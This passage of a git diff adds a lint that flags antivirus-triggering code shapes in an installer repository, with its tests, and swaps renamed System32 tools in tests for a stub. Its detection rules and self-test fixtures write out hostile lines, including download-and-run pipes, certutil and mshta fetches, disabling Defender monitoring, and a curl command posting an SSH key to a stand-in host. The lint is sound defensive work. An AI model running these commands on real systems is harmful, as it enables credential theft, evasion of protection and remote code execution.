_check_vendor_prose,+ comments_count = True,+ ),+ Rule(+ "AV015",+ "warn",+ "builds a script block from a string, or pipes a download into a shell",+ "string-to-code conversion is scored, more so when the text came from the network",+ "load functions by dot-sourcing a file; download scripts to a file and verify a digest before running them",+ needles = ("scriptblock", "curl", "wget"),+ line_patterns = [+ r"(?i)\[scriptblock\]::Create\s*\(",+ r"(?i)\b(?:curl|wget)\b[^\n|]*\|\s*(?:sudo\s+)?(?:ba|z|da)?sh\b",+ ],+ ),+]+RULES_BY_ID = {rule.id: rule for rule in RULES}+# PowerShell resolves commands, members and parameters in any case, and so do Windows paths.+_COMPILED = {rule.id: [re.compile(p, re.I) for p in rule.line_patterns] for rule in RULES}+++def scan_text(relative: str, text: str) -> list[Finding]:+ lines = text.splitlines()+ lower = text.lower()+ shipped = relative in SHIPPED_INSTALLERS+ found = []+ # A .PS1 runs exactly like a .ps1, so rules see the lower-cased name.+ folded = relative.lower()+ for rule in RULES:+ if not rule.applies(folded):+ continue+ if rule.needles and not any(n in lower for n in rule.needles):+ continue+ hits: list[tuple[int, str]] = []+ if rule.check is not None:+ hits = rule.check(folded, lines, text)+ else:+ patterns = _COMPILED[rule.id]+ if not any(p.search(text) for p in patterns):+ continue+ for i, line in enumerate(lines):+ if any(p.search(line) for p in patterns):+ hits.append((i + 1, rule.severity))+ for number, severity in hits:+ line = lines[number - 1]+ if not shipped:+ allow = ALLOW_RE.search(line) or (number > 1 and ALLOW_RE.search(lines[number - 2]))+ if allow and allow.group(1) == rule.id:+ continue+ found.append(Finding(rule.id, relative, number, line.strip(), severity))+ return found+++def _tracked_files() -> list[str]:+ try:+ output = subprocess.run(+ ["git", "ls-files", "-z"], cwd = REPO_ROOT, capture_output = True, check = True+ ).stdout+ return [f for f in output.decode("utf-8", "replace").split("\0") if f]+ except (OSError, subprocess.CalledProcessError):+ return [p.relative_to(REPO_ROOT).as_posix() for p in REPO_ROOT.rglob("*") if p.is_file()]+++def _in_scope(relative: str) -> bool:+ folded = relative.lower()+ if not folded.endswith(SUFFIXES) or folded.endswith(".min.js"):+ return False+ if EXCLUDED_PARTS & set(relative.split("/")[:-1]) or relative.startswith(EXCLUDED_PREFIXES):+ return False+ # This gate and its test describe every shape by construction.+ return relative not in ("scripts/lint_av_shapes.py", "tests/security/test_lint_av_shapes.py")+++def _read(path: Path) -> str:+ """Decode the way PowerShell does: honour a BOM, and spot BOM-less UTF-16 by its NULs."""+ raw = path.read_bytes()+ if raw.startswith((b"\xff\xfe", b"\xfe\xff")):+ return raw.decode("utf-16", errors = "replace")+ if raw.startswith(b"\xef\xbb\xbf"):+ return raw[3:].decode("utf-8", errors = "replace")+ head = raw[:512]+ if len(head) >= 16 and head[1::2].count(0) > len(head) // 4:+ return raw.decode("utf-16-le", errors = "replace")+ return raw.decode("utf-8", errors = "replace")+++def _scan_one(relative: str) -> list[Finding]:+ path = REPO_ROOT / relative+ if not path.is_file() or path.stat().st_size > MAX_BYTES:+ return []+ return scan_text(relative, _read(path))+++def collect(paths: list[str] | None) -> list[Finding]:+ if paths:+ found = []+ for given in paths:+ path = Path(given) if Path(given).is_absolute() else Path.cwd() / given+ if not path.is_file():+ # A named file that is missing means less was checked than was asked for.+ raise SystemExit(f"{given}: does not exist, so nothing was checked")+ try:+ relative = path.resolve().relative_to(REPO_ROOT).as_posix()+ except ValueError:+ relative = path.as_posix()+ found.extend(scan_text(relative, _read(path)))+ return found+ candidates = [f for f in _tracked_files() if _in_scope(f)]+ # About 6000 files and 115 MB: one process per core keeps the whole-repo run to a few seconds.+ from concurrent.futures import ProcessPoolExecutor++ with ProcessPoolExecutor() as pool:+ results = pool.map(_scan_one, candidates, chunksize = 64)+ return [finding for chunk in results for finding in chunk]+++def _counted(findings: list[Finding]) -> dict:+ counts: dict = {}+ for f in findings:+ key = (f.file, f.rule, f.digest)+ counts[key] = counts.get(key, 0) + 1+ return counts+++def _load_baseline() -> dict:+ if not BASELINE_PATH.is_file():+ return {"_comment": "", "groups": []}+ return json.loads(BASELINE_PATH.read_text(encoding = "utf-8"))+++def _allowed(document: dict) -> tuple[dict, dict, set]:+ """Baseline groups: one reason per (file, rule), digest -> count underneath.++ Returns the allowed counts, every group's reason, and the groups recorded as errors.+ """+ allowed, reasons, error_groups = {}, {}, set()+ for group in document.get("groups", []):+ key = (group["file"], group["rule"])+ reasons[key] = group.get("reason", "")+ if group.get("severity") == "error":+ error_groups.add(key)+ for digest, count in group["digests"].items():+ allowed[(group["file"], group["rule"], digest)] = count+ return allowed, reasons, error_groups+++def _explain(f: Finding) -> str:+ rule = RULES_BY_ID[f.rule]+ return (+ f"{f.file}:{f.line}: [{f.rule}] {f.severity}: {rule.what}\n"+ f" line: {f.text[:160]}\n"+ f" why: {rule.why}\n"+ f" fix: {rule.fix}\n"+ )+++def main() -> int:+ parser = argparse.ArgumentParser(+ description = __doc__, formatter_class = argparse.RawDescriptionHelpFormatter+ )+ parser.add_argument(+ "--update", action = "store_true", help = "rewrite the baseline, keeping reasons"+ )+ parser.add_argument("--self-test", action = "store_true", help = "check every rule still fires")+ parser.add_argument(+ "--paths", nargs = "*", help = "scan these files instead of the whole repository"+ )+ parser.add_argument("--json", metavar = "FILE", help = "also write the findings as JSON")+ arguments = parser.parse_args()++ if arguments.self_test:+ return self_test()+ if arguments.update and arguments.paths:+ # The baseline covers the whole repository; rebuilding it from a few files would drop the rest.+ print("--update rewrites the whole baseline and cannot be combined with --paths")+ return 2++ try:+ findings = collect(arguments.paths)+ except (OSError, UnicodeError) as error:+ print(f"internal error: {error}")+ return 2+ document = _load_baseline()+ allowed, reasons, error_groups = _allowed(document)+ observed = _counted(findings)+ # Severity comes from what the lint sees now, not from the JSON, which is hand-edited.+ observed_errors = {(f.file, f.rule, f.digest) for f in findings if f.severity == "error"}+ error_groups |= {+ (file, rule) for file, rule, _ in observed_errors if (file, rule, _) in allowed+ }++ if arguments.update:+ severities = {+ (f.file, f.rule, f.digest): f.severity for f in findings if f.severity == "error"+ }+ groups: dict = {}+ for (file, rule, digest), count in sorted(observed.items()):+ group = groups.setdefault(+ (file, rule),+ {"file": file, "rule": rule, "severity": "warn",+ "reason": reasons.get((file, rule)) or "REVIEW ME", "digests": {}},+ ) # fmt: skip+ group["digests"][digest] = count+ if severities.get((file, rule, digest)) == "error":+ group["severity"] = "error"+ for group in groups.values():+ # Only an error group has to be justified; a warning never fails the build.+ if group["severity"] == "warn" and group["reason"] == "REVIEW ME":+ group["reason"] = "pre-existing warning"+ document["groups"] = list(groups.values())+ BASELINE_PATH.write_text(json.dumps(document, indent = 2) + "\n", encoding = "utf-8")+ print(f"baseline: {len(groups)} groups, {len(findings)} findings")+ return 0++ new = []+ seen: dict = {}+ for f in findings:+ key = (f.file, f.rule, f.digest)+ seen[key] = seen.get(key, 0) + 1+ if seen[key] > allowed.get(key, 0):+ new.append(f)+ errors = [f for f in new if f.severity == "error"]+ warnings = [f for f in new if f.severity == "warn"]++ if arguments.json:+ Path(arguments.json).write_text(+ json.dumps(+ [dict(rule = f.rule, file = f.file, line = f.line, severity = f.severity, text = f.text,+ what = RULES_BY_ID[f.rule].what, why = RULES_BY_ID[f.rule].why, fix = RULES_BY_ID[f.rule].fix)+ for f in new],+ indent = 2,+ ) + "\n",+ encoding = "utf-8",+ ) # fmt: skip++ for f in warnings:+ print(_explain(f))+ for f in errors:+ print(_explain(f))++ problems = 0+ if errors:+ print(+ f"{len(errors)} new error(s). Redesign the line as suggested. If it really has to stay, add "+ "`lint-allow: <rule> <reason>` on or above it (not in the shipped installers), or run "+ "`python scripts/lint_av_shapes.py --update` and write the reason into scripts/av_shapes_baseline.json."+ )+ problems = 1++ if not arguments.paths:+ unreviewed = sorted(+ key+ for key in error_groups+ if not reasons.get(key) or reasons[key] in ("REVIEW ME", "pre-existing warning")+ )+ if unreviewed:+ print(f"{len(unreviewed)} baseline group(s) for error rules carry no reason:")+ for file, rule in unreviewed:+ print(f" {file} {rule}")+ problems = 1+ # Fewer occurrences than recorded is stale too: the spare count would let a copy back in.+ stale = sorted(+ k for k in allowed if (k[0], k[1]) in error_groups and observed.get(k, 0) < allowed[k]+ )+ if stale:+ # An entry that outlives its line would quietly re-permit whatever lands on that digest next.+ print(+ f"{len(stale)} baseline entr(y/ies) allow more than the code still has. Run --update:"+ )+ for file, rule, digest in stale:+ print(f" {file} {rule} {digest}")+ problems = 1++ if not problems:+ print(+ f"ok: {len(findings)} recorded finding(s), {len(warnings)} new warning(s), 0 new errors"+ )+ return problems+++# ---- self-test: every rule fires on its shape and stays quiet on the rewrite --------------------+def _fixtures() -> list[tuple[str, str, str, bool]]:+ """(rule, file name, text, should fire). Built here, in memory, never written to disk."""+ q = '"'+ return [+ (+ "AV001",+ "t.py",+ "probe = '''Add-Type -MemberDefinition @'\n["+ + _DLLIMPORT+ + "("+ + q+ + _J(("kernel", "32.dll"))+ + q+ + ")] public static extern bool "+ + _J(("Free", "Console"))+ + "();\n'@'''",+ True,+ ),+ ("AV001", "t.py", "# the native import used to live here\nimport ctypes\n", False),+ (+ "AV002",+ "t.ps1",+ "$p = " + _J(("Virtual", "AllocEx")) + "($h, 0, 4096, 0x3000, 0x40)",+ True,+ ),+ ("AV002", "t.ps1", "$p = Get-Process -Id $pid", False),+ (+ "AV003",+ "install.ps1",+ "$asm = [AppDomain]::CurrentDomain."+ + _J(("Define", "Dynamic", "Assembly"))+ + "($n, 'Run')",+ True,+ ),+ ("AV003", "install.ps1", "$mode = Get-ConsoleMode", False),+ ("AV004", "t.ps1", "powershell.exe " + _ENC_CMD + " ZQBjAGgAbwAgAGgAaQA=", True),+ ("AV004", "t.ps1", "powershell.exe -NoProfile -File setup.ps1", False),+ ("AV005", "t.ps1", "irm https://example.invalid/x.ps1 | " + _J(("i", "ex")), True),+ ("AV005", "t.ps1", "Invoke-WebRequest https://example.invalid/x.ps1 -OutFile x.ps1", False),+ (+ "AV006",+ "t.ps1",+ _J(("Set", "-Mp", "Preference")) + " -Disable" + "RealtimeMonitoring $true",+ True,+ ),+ ("AV006", "t.ps1", "Get-MpComputerStatus", False),+ (+ "AV007",+ "t.ps1",+ "Start-Process powershell -ArgumentList '-WindowStyle Hidden -ExecutionPolicy "+ + _J(("By", "pass"))+ + " -File a.ps1'",+ True,+ ),+ (+ "AV007",+ "t.ps1",+ "Start-Process powershell -ArgumentList '-ExecutionPolicy RemoteSigned -File a.ps1'",+ False,+ ),+ (+ "AV008",+ "s.py",+ "import os, requests\nHOME = os.environ['HOME']\nA = 'Login"+ + " Data'\nB = 'wallet"+ + ".dat'\nrequests.post(u)\n",+ True,+ ),+ (+ "AV008",+ "s.py",+ "import os, requests\nHOME = os.environ['HOME']\nA = ''.join(('Login', ' Data'))\nrequests.post(u)\n",+ False,+ ),+ (+ "AV009",+ "t.py",+ "source = Path(os.environ['SystemRoot']) / 'System32' / 'where.exe'\nshutil.copyfile(source, tmp / 'llama-server.exe')\n",+ True,+ ),+ (+ "AV009",+ "t.py",+ "from windows_console_stub import console_stub_bytes\n(tmp / 'llama-server.exe').write_bytes(console_stub_bytes(0))\n",+ False,+ ),+ (+ "AV010",+ "t.py",+ "import subprocess\n(d / 'trusted-signing-cli.exe').write_bytes(b'not an executable')\nsubprocess.run([d / 'trusted-signing-cli.exe'])\n",+ True,+ ),+ ("AV010", "t.py", "import subprocess\n(d / 'notes.txt').write_bytes(b'text')\n", False),+ ("AV011", "t.bat", "certutil -urlcache -split -f http://example.invalid/a.exe a.exe", True),+ ("AV011", "t.bat", "certutil -hashfile a.exe SHA256", False),+ ("AV012", "t.ps1", "Register-ScheduledTask -TaskName x -Action $a", True),+ ("AV012", "t.ps1", "Get-ScheduledTask", False),+ ("AV013", "t.ps1", "$s = -join [char[]](73,69,88)", True),+ ("AV013", "t.ps1", "$s = 'plain'", False),+ ("AV014", "install.ps1", "# keeps the " + "anti" + "virus heuristic quiet", True),+ ("AV014", "install.ps1", "# resolves the venv python before the first pip call", False),+ ("AV015", "t.ps1", "$sb = [scriptblock]::Create($text)", True),+ ("AV015", "t.ps1", ". $PSScriptRoot/helpers.ps1", False),+ # Spellings PowerShell accepts that a first cut of these rules missed.+ (+ "AV002",+ "t.ps1",+ "$p = " + _J(("virtual", "allocEx")) + "($h, 0, 4096, 0x3000, 0x40)",+ True,+ ),+ (+ "AV003",+ "t.ps1",+ "$a = $d." + _J(("define", "dynamic", "assembly")) + "($n, 'Run')",+ True,+ ),+ ("AV004", "t.ps1", "powershell -enc " + q + "ZQBjAGgAbwAgAGgAaQA=" + q, True),+ ("AV005", "t.ps1", "irm 'https://example.invalid/x.ps1' | " + _J(("i", "ex")), True),+ ("AV005", "t.ps1", "irm https://unsloth.ai/install.ps1 | " + _J(("i", "ex")), True),+ (+ "AV005",+ "t.ps1",+ "Write-Host 'irm https://unsloth.ai/install.ps1 | " + _J(("i", "ex")) + "'",+ False,+ ),+ (+ "AV006",+ "t.ps1",+ _J(("Set", "-Mp", "Preference")) + " -Disable" + "RealtimeMonitoring:$true",+ True,+ ),+ (+ "AV008",+ "s.ps1",+ "$h = $ENV:APPDATA\nINVOKE-WebRequest $u\n$a = 'WALLET"+ + ".DAT'\n$b = '"+ + _J(("ID_", "RSA"))+ + "'\n",+ True,+ ),+ (+ "AV009",+ "t.py",+ "shutil.copy2(\n Path(os.environ['SystemRoot']) / 'System32' / 'where.exe',\n tmp / 'llama-server.exe',\n)\n",+ True,+ ),+ ("AV011", "t.bat", "mshta " + q + "https://example.invalid/a.hta" + q, True),+ (+ "AV011",+ "t.bat",+ "regsvr32 /s /i:" + q + "https://example.invalid/a.sct" + q + " scrobj.dll",+ True,+ ),+ ("AV004", "t.ps1", "powershell.exe -en " + q + "ZQBjAGgAbwAgAGgAaQA=" + q, True),+ (+ "AV006",+ "t.ps1",+ _J(("Set", "-Mp", "Preference")) + " -Exclusion" + "Path C:\\work",+ True,+ ),+ (+ "AV007",+ "t.ps1",+ "$visibility = 'Hidden'\npowershell -ExecutionPolicy "+ + _J(("By", "pass"))+ + " -File a.ps1",+ False,+ ),+ (+ "AV008",+ "s.py",+ "import os, requests\nk = os.environ['HOME'] + '/.sol"+ + "ana/validator_key'\nrequests.post(u)\n",+ True,+ ),+ (+ "AV005",+ "t.ps1",+ "irm https://example.invalid/x.ps1 -UseBasicParsing | " + _J(("i", "ex")),+ True,+ ),+ (+ "AV007",+ "t.bat",+ "powershell.exe -WindowStyle:Hidden -ExecutionPolicy:"+ + _J(("By", "pass"))+ + " -File a.ps1",+ True,+ ),+ ("AV009", "t.ps1", "copy $env:SystemRoot\\System32\\where.exe .\\tool.exe", True),+ (+ "AV011",+ "t.ps1",+ "& "+ + q+ + "C:\\Windows\\System32\\ms"+ + "hta.exe"+ + q+ + " "+ + q+ + "https://example.invalid/a.hta"+ + q,+ True,+ ),+ (+ "AV008",+ "s.sh",+ "#!/bin/sh\nset -eu\ncurl -F key=@$HOME/.ssh/"+ + _J(("id_", "rsa"))+ + " https://example.invalid/u\ncat $HOME/.aws/credentials\n",+ True,+ ),+ ("AV004", "t.sh", "base64 --decode archive.b64 | tar -xf -", False),+ ("AV004", "t.sh", "echo $p | base64 -d | sh", True),+ ("AV004", "t.ps1", "$der = [Convert]::" + _FROM_B64 + "($certificate)", True),+ (+ "AV007",+ "t.py",+ "argv = [\n "+ + q+ + "-WindowStyle"+ + q+ + ",\n "+ + q+ + "Hidden"+ + q+ + ",\n "+ + q+ + "-ExecutionPolicy"+ + q+ + ",\n "+ + q+ + _J(("By", "pass"))+ + q+ + ",\n]",+ True,+ ),+ (+ "AV008",+ "s.py",+ "import os, requests\nh = os.environ['HOME']\na = h + '/.ssh/"+ + _J(("id_", "rsa"))+ + "'\nb = h + '/.ssh/"+ + _J(("id_", "ed25519"))+ + "'\nrequests.post(u)\n",+ True,+ ),+ # Suppression is honoured outside the shipped installers and ignored inside them.+ (+ "AV015",+ "t.ps1",+ "$sb = [scriptblock]::Create($text) # lint-allow: AV015 loads a function body under test",+ False,+ ),+ (+ "AV003",+ "install.ps1",+ "# lint-allow: AV003 because I said so\n$b = $m."+ + _J(("Define", "PInvoke", "Method"))+ + "()",+ True,+ ),+ ]+++def self_test() -> int:+ failures = []+ for rule, name, text, should_fire in _fixtures():+ fired = any(f.rule == rule for f in scan_text(name, text))+ if fired != should_fire:+ failures.append(+ f"{rule} on {name}: expected {'a finding' if should_fire else 'none'}, got {'one' if fired else 'none'}"+ )+ covered = {rule for rule, _, _, fire in _fixtures() if fire}+ missing = sorted(set(RULES_BY_ID) - covered)+ if missing:+ failures.append(f"rules with no firing fixture: {', '.join(missing)}")+ if failures:+ print("self-test FAILED:\n " + "\n ".join(failures))+ return 1+ print(f"self-test: ok ({len(_fixtures())} fixtures, {len(RULES)} rules)")+ return 0+++if __name__ == "__main__":+ sys.exit(main())diff --git a/tests/_shared/windows_console_stub.py b/tests/_shared/windows_console_stub.pyindex 5afea907342..af9acb2e221 100644--- a/tests/_shared/windows_console_stub.py+++ b/tests/_shared/windows_console_stub.py@@ -31,8 +31,8 @@ def _launcher_dir() -> Path | None:return None-def console_stub_bytes(exit_code: int = 0) -> bytes | None:- """Launcher + shebang + zip, or None where no distlib launcher ships."""+def console_stub_bytes(exit_code: int = 0, *, source: str | None = None) -> bytes | None:+ """Launcher + shebang + zip, or None where no distlib launcher ships. `source` replaces the exit-only body."""directory = _launcher_dir()if directory is None:return None@@ -45,6 +45,7 @@ def console_stub_bytes(exit_code: int = 0) -> bytes | None:return Nonestream = io.BytesIO()with zipfile.ZipFile(stream, "w") as archive:- archive.writestr("__main__.py", f"import sys\nsys.exit({int(exit_code)})\n")+ body = source if source is not None else f"import sys\nsys.exit({int(exit_code)})\n"+ archive.writestr("__main__.py", body)shebang = b'#!"' + sys.executable.encode("utf-8") + b'"\n'return path.read_bytes() + shebang + stream.getvalue()diff --git a/tests/python/test_windows_installer_concurrency_guard.py b/tests/python/test_windows_installer_concurrency_guard.pyindex d398caf6082..cc4f21ee427 100644--- a/tests/python/test_windows_installer_concurrency_guard.py+++ b/tests/python/test_windows_installer_concurrency_guard.py@@ -18,6 +18,25 @@ import pytestfrom unsloth_pwsh_runner import pwsh_env, run_pwsh+# Stands in for the long-lived venv process the guard has to find: `-n N` keeps it alive for N+# seconds, the way `ping -n N` did. A pip-style launcher rather than a renamed System32 tool,+# which is itself a masquerading shape (scripts/lint_av_shapes.py AV009).+_SLEEPER_SOURCE = (+ "import sys, time\n"+ "args = sys.argv[1:]\n"+ "time.sleep(float(args[args.index('-n') + 1]) if '-n' in args else 0)\n"+)+++def _write_sleeper(path: Path) -> None:+ from windows_console_stub import console_stub_bytes++ stub = console_stub_bytes(source = _SLEEPER_SOURCE)+ if stub is None:+ pytest.skip("no distlib console launcher to build a stand-in process from")+ path.write_bytes(stub)++REPO_ROOT = Path(__file__).resolve().parents[2]INSTALL_PS1 = REPO_ROOT / "install.ps1"COMMANDS_RS = REPO_ROOT / "studio" / "src-tauri" / "src" / "commands.rs"@@ -246,7 +265,7 @@ def test_running_venv_process_is_reported(tmp_path: Path, shell: str):scripts = tmp_path / "unsloth_studio" / "Scripts"scripts.mkdir(parents = True)probe = scripts / "guard-probe.exe"- shutil.copy2(Path(os.environ["SystemRoot"]) / "System32" / "PING.EXE", probe)+ _write_sleeper(probe)creationflags = getattr(subprocess, "CREATE_NO_WINDOW", 0)# Long enough that the child outlives the scan: PowerShell 5.1 pays a cold start plus a csc.exe compile first.@@ -296,7 +315,7 @@ def test_x86_powershell_reports_64_bit_managed_process(tmp_path: Path):scripts = tmp_path / "unsloth_studio" / "Scripts"scripts.mkdir(parents = True)probe = scripts / "guard-probe.exe"- shutil.copy2(Path(os.environ["SystemRoot"]) / "System32" / "PING.EXE", probe)+ _write_sleeper(probe)# Long-lived: a 32-bit shell pays a WOW64 start plus an Add-Type compile.child = subprocess.Popen([str(probe), "-n", "120", "127.0.0.1"],@@ -341,7 +360,7 @@ def test_installer_decision_stops_active_process_and_allows_idle(tmp_path: Path,marker = venv / "must-remain.txt"marker.write_text("untouched", encoding = "utf-8")worker = scripts / "worker.exe"- shutil.copy2(Path(os.environ["SystemRoot"]) / "System32" / "PING.EXE", worker)+ _write_sleeper(worker)child = subprocess.Popen([str(worker), "-n", "30", "127.0.0.1"],creationflags = getattr(subprocess, "CREATE_NO_WINDOW", 0),@@ -495,7 +514,7 @@ def test_junction_alias_process_is_reported_for_physical_venv(tmp_path: Path, shtext = True,)probe = alias / "Scripts" / "guard-probe.exe"- shutil.copy2(Path(os.environ["SystemRoot"]) / "System32" / "PING.EXE", probe)+ _write_sleeper(probe)child = subprocess.Popen([str(probe), "-n", "6", "127.0.0.1"],creationflags = getattr(subprocess, "CREATE_NO_WINDOW", 0),@@ -522,7 +541,7 @@ def test_exact_studio_bin_shim_process_is_reported(tmp_path: Path, shell: str):detector = _process_helpers(source)shim = tmp_path / "studio" / "bin" / "unsloth.exe"shim.parent.mkdir(parents = True)- shutil.copy2(Path(os.environ["SystemRoot"]) / "System32" / "PING.EXE", shim)+ _write_sleeper(shim)child = subprocess.Popen([str(shim), "-n", "6", "127.0.0.1"],creationflags = getattr(subprocess, "CREATE_NO_WINDOW", 0),diff --git a/tests/security/test_lint_av_shapes.py b/tests/security/test_lint_av_shapes.pynew file mode 100644index 00000000000..b419dd567cf--- /dev/null+++ b/tests/security/test_lint_av_shapes.py@@ -0,0 +1,190 @@+# SPDX-License-Identifier: AGPL-3.0-only+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0++"""scripts/lint_av_shapes.py: every rule fires, the repository is clean against its baseline,+and each false positive that reached a user's machine is caught at the commit that shipped it.++Fixture text is joined from fragments, like the lint's own, so this file does not carry the+shapes it checks for.+"""++from __future__ import annotations++import importlib.util+import json+import subprocess+import sys+from pathlib import Path++import pytest++REPO = Path(__file__).resolve().parents[2]+SCRIPT = REPO / "scripts" / "lint_av_shapes.py"++_spec = importlib.util.spec_from_file_location("lint_av_shapes", SCRIPT)+L = importlib.util.module_from_spec(_spec)+sys.modules[_spec.name] = L+_spec.loader.exec_module(L)++_J = "".join+++def _rules(relative: str, text: str) -> dict:+ found: dict = {}+ for finding in L.scan_text(relative, text):+ found.setdefault(finding.rule, set()).add(finding.severity)+ return found+++def test_the_self_test_passes():+ assert L.self_test() == 0+++def test_the_repository_is_clean_against_its_baseline():+ result = subprocess.run(+ [sys.executable, str(SCRIPT)], cwd = REPO, capture_output = True, text = True, timeout = 300+ )+ assert result.returncode == 0, result.stdout + result.stderr+++def test_every_error_group_in_the_baseline_has_a_reason():+ document = json.loads(+ (REPO / "scripts" / "av_shapes_baseline.json").read_text(encoding = "utf-8")+ )+ bare = [+ (g["file"], g["rule"])+ for g in document["groups"]+ if g.get("severity") == "error" and (not g.get("reason") or g["reason"] == "REVIEW ME")+ ]+ assert not bare, bare+++def test_a_new_line_fails_and_says_what_to_do_instead(tmp_path):+ probe = tmp_path / "probe.ps1"+ probe.write_text("$b = $m." + _J(("Define", "PInvoke", "Method")) + "('x')\n", encoding = "utf-8")+ result = subprocess.run(+ [sys.executable, str(SCRIPT), "--paths", str(probe), "--json", str(tmp_path / "out.json")],+ cwd = REPO, capture_output = True, text = True, timeout = 120,+ ) # fmt: skip+ assert result.returncode == 1, result.stdout+ assert "[AV003] error" in result.stdout+ assert "why:" in result.stdout and "fix:" in result.stdout+ report = json.loads((tmp_path / "out.json").read_text(encoding = "utf-8"))+ assert [entry["rule"] for entry in report] == ["AV003"]+++def test_a_warning_never_fails_the_build(tmp_path):+ probe = tmp_path / "probe.ps1"+ probe.write_text("$sb = [scriptblock]::Create($text)\n", encoding = "utf-8")+ result = subprocess.run(+ [sys.executable, str(SCRIPT), "--paths", str(probe)],+ cwd = REPO,+ capture_output = True,+ text = True,+ )+ assert result.returncode == 0, result.stdout+ assert "[AV015] warn" in result.stdout+++def test_inline_allow_needs_the_rule_and_a_reason_and_is_ignored_in_shipped_installers():+ line = "$sb = [scriptblock]::Create($text)"+ assert "AV015" not in _rules(+ "t.ps1", line + " # lint-allow: AV015 loads a function body under test"+ )+ assert "AV015" in _rules("t.ps1", line + " # lint-allow: AV015")+ assert "AV015" in _rules(+ "t.ps1", line + " # lint-allow: AV003 loads a function body under test"+ )+ assert "AV015" in _rules(+ "install.ps1", line + " # lint-allow: AV015 loads a function body under test"+ )+++def test_the_documented_one_liner_is_not_flagged_but_a_third_party_pipe_is():+ ours = "Write-Host 'irm https://unsloth.ai/install.ps1 | " + _J(("i", "ex")) + "'"+ theirs = "irm https://example.invalid/install.ps1 | " + _J(("i", "ex"))+ assert "AV005" not in _rules("t.ps1", ours)+ assert _rules("t.ps1", theirs).get("AV005") == {"error"}+++def test_one_credential_marker_warns_and_two_fail():+ base = "import os, requests\nhome = os.environ['HOME']\nrequests.get(u)\n"+ one = base + "p = '" + _J(("id_", "rsa")) + "'\n"+ two = one + "q = '" + _J(("wallet", ".dat")) + "'\n"+ assert _rules("s.py", one).get("AV008") == {"warn"}+ assert _rules("s.py", two).get("AV008") == {"error"}+ assert "AV008" not in _rules("s.py", two.replace("requests.get(u)", "pass"))+++def _at(revision: str, path: str) -> str:+ result = subprocess.run(["git", "show", f"{revision}:{path}"], cwd = REPO, capture_output = True)+ if result.returncode != 0:+ pytest.skip(f"{revision}:{path} is not in this clone's history (shallow checkout)")+ return result.stdout.decode("utf-8", "replace")+++# (commit, file, rule the shipped version must raise); the version after the fix must raise no error.+INCIDENTS = [+ ("99c392887^", "99c392887", "scripts/scan_packages.py", "AV008"),+ ("bd612c863^", "bd612c863", "install.ps1", "AV003"),+ ("268b771b9", None, "tests/python/test_windows_setup_output_encoding.py", "AV001"),+ ("268b771b9", None, "tests/studio/install/test_keep_install_backcompat_9979.py", "AV009"),+ ("268b771b9", None, "tests/security/test_release_desktop_signing_simulation.py", "AV009"),+ ("268b771b9", None, "tests/studio/test_install_rollback_lifecycle.ps1", "AV010"),+]++[email protected]("before, after, path, rule", INCIDENTS, ids = [i[2] for i in INCIDENTS])+def test_each_shipped_incident_is_caught_and_its_fix_is_not(before, after, path, rule):+ assert rule in _rules(path, _at(before, path))+ if after is not None:+ errors = {r for r, sev in _rules(path, _at(after, path)).items() if "error" in sev}+ assert not errors, errors+++def test_a_utf16_powershell_script_is_decoded_before_it_is_scanned(tmp_path):+ line = "$b = $m." + _J(("Define", "PInvoke", "Method")) + "('x')\r\n"+ for encoding in ("utf-16", "utf-16-le"):+ probe = tmp_path / f"{encoding}.ps1"+ probe.write_bytes(line.encode(encoding))+ assert "AV003" in _rules(probe.name, L._read(probe)), encoding+++def _run_main_against(monkeypatch, tmp_path, findings, groups):+ baseline = tmp_path / "baseline.json"+ baseline.write_text(json.dumps({"groups": groups}), encoding = "utf-8")+ monkeypatch.setattr(L, "BASELINE_PATH", baseline)+ monkeypatch.setattr(L, "collect", lambda paths: findings)+ monkeypatch.setattr(sys, "argv", ["lint_av_shapes.py"])+ return L.main()+++def _finding(+ text,+ severity = "error",+ rule = "AV003",+):+ return L.Finding(rule, "x.ps1", 1, text, severity)+++def test_a_baseline_count_above_what_remains_is_stale(monkeypatch, tmp_path):+ kept = _finding("emit")+ group = {"file": "x.ps1", "rule": "AV003", "severity": "error", "reason": "reviewed",+ "digests": {kept.digest: 2}} # fmt: skip+ assert _run_main_against(monkeypatch, tmp_path, [kept], [group]) == 1+ group["digests"][kept.digest] = 1+ assert _run_main_against(monkeypatch, tmp_path, [kept], [group]) == 0+++def test_an_error_recorded_as_a_warning_still_needs_a_reason(monkeypatch, tmp_path):+ kept = _finding("emit")+ group = {"file": "x.ps1", "rule": "AV003", "severity": "warn", "reason": "pre-existing warning",+ "digests": {kept.digest: 1}} # fmt: skip+ assert _run_main_against(monkeypatch, tmp_path, [kept], [group]) == 1+++def test_a_vanished_warning_does_not_fail_the_build(monkeypatch, tmp_path):+ gone = _finding("one marker", severity = "warn", rule = "AV008")+ group = {"file": "x.ps1", "rule": "AV008", "severity": "warn", "reason": "pre-existing warning",+ "digests": {gone.digest: 1}} # fmt: skip+ assert _run_main_against(monkeypatch, tmp_path, [], [group]) == 0diff --git a/tests/studio/test_path_resolver_degrades.ps1 b/tests/studio/test_path_resolver_degrades.ps1index 9ed2da8cc91..85a1adad6e2 100644--- a/tests/studio/test_path_resolver_degrades.ps1+++ b/tests/studio/test_path_resolver_degrades.ps1@@ -28,11 +28,12 @@ function Check {else { Write-Host " FAIL $Name" -ForegroundColor Red; $script:failures++ }}+# The tokens are joined at run time so this file does not itself carry the shapes it bans.$bannedConstructs = @(@("compiles no C# at all", "(?m)^[ \t]*Add-Type\b(?![^\r\n]*-AssemblyName)"),- @("emits no P/Invoke stubs", "DefinePInvokeMethod"),- @("defines no dynamic assembly", "DefineDynamicAssembly"),- @("declares no native import", "DllImport")+ @("emits no P/Invoke stubs", ('DefinePInvoke' + 'Method')),+ @("defines no dynamic assembly", ('DefineDynamic' + 'Assembly')),+ @("declares no native import", ('Dll' + 'Import')))$bannedTypeNames = @("UnslothStudioFinalPathV3", "UnslothStudioProcessImageV1", "UnslothShellIconRefresh", "UnslothStudioConsoleModeV1")foreach ($pair in @(@("install.ps1", $installPath), @("studio/setup.ps1", $setupPath))) {@@ -43,13 +44,13 @@ foreach ($pair in @(@("install.ps1", $installPath), @("studio/setup.ps1", $setup}}-$banSelfTest = @'-Add-Type -TypeDefinition "public class X {}"-$null = [AppDomain]::CurrentDomain.DefineDynamicAssembly($name, "Run")-$null = $builder.DefinePInvokeMethod("CreateFileW", "kernel32.dll")-[DllImport("kernel32.dll")]-class UnslothStudioFinalPathV3 {}-'@+$banSelfTest = @(+ 'Add-Type -TypeDefinition "public class X {}"',+ ('$null = 